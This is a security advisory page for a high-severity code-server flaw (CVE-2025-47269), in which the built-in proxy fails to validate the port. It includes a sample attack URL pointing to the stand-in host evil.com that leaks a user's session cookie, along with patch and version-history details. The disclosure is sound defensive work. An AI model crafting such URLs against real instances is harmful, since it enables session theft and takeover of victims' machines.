High

code-server's session cookie can be extracted by having user visit specially crafted proxy URL

  • Disclosed: 09.05.2025
  • Updated: 11.10.2026 10:22

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package code-server < 4.99.4 4.99.4

References

CVSS score 8.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Weakness (CWE)
CWE-441
Platform
npm
Package
code-server
Disclosed
09.05.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-p483-wpfp-42cj - CC BY 4.0

Vulnerability history: code-server

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
09.2021 05.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 2
  • Medium 1

Disclosures per year

  1. 2021: 1
  2. 2022: 1
  3. 2023: 1
  4. 2024: 0
  5. 2025: 1
  6. 2026: 0
  1. code-server's session cookie can be extracted by having user visit specially crafted proxy URL this entry
    High · 8.3 CVE-2025-47269 < 4.99.4 4.99.4
  2. Critical · 9.3 CVE-2023-26114 < 4.10.1 4.10.1
  3. Medium · 6.1 CVE-2021-42648 < 3.12.0 3.12.0
  4. High · 7.5 CVE-2021-3810 < 3.12.0 3.12.0

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